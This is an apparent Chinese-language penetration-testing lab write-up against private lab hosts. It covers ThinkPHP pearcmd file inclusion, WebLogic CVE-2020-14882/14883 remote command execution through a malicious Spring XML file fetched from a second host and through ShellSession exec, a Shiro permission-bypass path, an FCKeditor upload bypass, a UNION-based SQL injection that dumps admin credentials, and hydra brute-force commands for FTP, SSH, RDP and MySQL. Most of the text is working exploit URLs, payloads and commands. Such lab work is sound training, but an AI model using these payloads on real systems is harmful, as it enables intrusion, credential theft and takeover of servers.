1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程
-
ThinkPHP
满足条件:多语言特性开启、安装pear库、知道pearcmd.php路径、register_argc_argv = on的前提下且ThinkPHP在漏洞版本中,再实现漏洞过程。
-
前端访问pearcmd文件,出现如下报错确定文件存在
-
插入代码实现文件包含(由于前端会进行url编码,需要利用burp抓包成功绕过过滤)
?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<? =phpinfo()?>+/var/www/html/info.php
-
访问文件地址,RCE成功实现
-
-
Weblogic
满足条件:Weblogic在相应漏洞版本中
-
CVE-2020-14882(未授权访问到管理后台页面)
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal
-
CVE-2020-14883(在管理后台页面执行远程命令)
方式一:
-
将含有恶意xml代码上传到事先准备好的模拟攻击者靶场中
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/test01]]></value> </list> </constructor-arg> </bean> </beans>
-
让weblogic后台访问恶意xml文件的url并执行其中的代码
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.0.0.151:8081/hackable/uploads/test01.xml")
-
在后台看到创建出的test01文件,说明rce成功
方式二:
-
直接访问如下url执行xml命令,后台创建test02文件
http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test02');")
-
-
-
Shiro
满足条件:shiro在相应漏洞版本中
-
CVE-2016-4437(反序列化漏洞)
-
使用反序化工具实现
-
-
CVE-2020-1957(权限绕过漏洞)
-
通过构造恶意请求 /xxx/..;/admin/ ,即可绕过权限校验,直接访问到管理页面
-
-
2、FCKeditor编辑器漏洞实验
满足条件:Windows 7 + phpstudy_64(php 5.4.45)
-
利用御剑获取fckeditor目录文件信息
-
得到本版信息,及上传功能点的url
-
插入/图像- - ->链接- - ->Browse Server,会出现FCK上传页面
-
由于搭建的站点使用的是php环境,而链接中的环境是ASP,需要对地址以及fckeditor的配置文件进行修改
地址asp均改为php:
http://10.0.0.154/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php
配置文件路径:
C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php
-
可以正常访问后,burp抓包绕过网站过滤(在php文件后添加空格)成功上传php文件
-
根据前面的配置文件构造出路径并访问,成功实现FCKeditor编辑器漏洞
http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/images/file/info.php
-
3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
-
bluecms旁注漏洞实现:
- 在bluecms首页用(admin/123456)尝试用户登入,从返回消息看推测存在admin用户且存在后台
-
通过尝试试出后台为http://10.0.0.154/bluecms/uploads/admin/,这时就可以利用burp进行密码爆破了
-
通过账号密码(admin/admin)成功登入后台,在广告管理模块随便添加一条广告后,发现有获取js代码的功能
-
通过获取到的js代码,推测网站可能存在sql注入漏洞;访问url验证,确实存在
-
开始进行sql注入测试
-
先通过
order by
来判断sql语句查了多少列,当大于7的时候报错,证明有一共有7列 -
再利用union all 判断显示位 > 7
-1 union all select 1,2,3,4,5,6,7
-
获取库名 > bluecms
-1 union all select 1,2,3,4,5,6,database()
-
表名 > 关键表名blue_user
-1 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
-
字段名 > 关键字段user_name,pwd
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
由于网站对单引号过滤,需要对bluecms使用16进制编码绕过
-1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
-
具体数据 > admin/admin
-1 union all select 1,2,3,4,5,6,concat(user_name,0x7e,pwd) from blue_user
后面的字符串通过MD5解码得到密码为admin。
-
-
旁站攻击可以拿下主站的原因:因为旁站和主站部署在同一服务器上,所以拿下旁站服务器即得到整个数据库信息,将主站便可一并拿下。
-
跨库:存在A,B数据库部署在同一服务器上,且他们都隶属于整个MySQL数据库管理系统中;通过在A数据库里查询到B数据库信息即跨库。
4、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。
以win7为实验对象(IP地址-10.0.0.154),kali(自带hydra工具)为模拟攻击者
-
ftp(环境:在win7先利用小皮创建ftp服务并开启)
hydra 10.0.0.154 ftp -l xue -P pwd.txt -vV -f -e ns
访问ftp://10.0.0.154服务器,利用破解密码成功登入
-
ssh(环境:在win7中先安装openssh)
hydra 10.0.0.154 ssh -l xue -P pwd.txt -t 5 -vV -e nsr -o ssh.log
-
rdp(先在win7中开启远程桌面)
hydra 10.0.0.154 rdp -l xue -P pwd.txt
尝试远程连接
利用破解的密码连接成功
-
mysql(在win7先用小皮开启mysql服务>安装数据库管理工具SQL_Front5.3)
进入工具,设置MySQL允许远程连接即添加
grant all privileges on *.* to root@'%' identified by 'root';
语句,选中右键选择运行
hydra 10.0.0.154 mysql -l root -P pwd.txt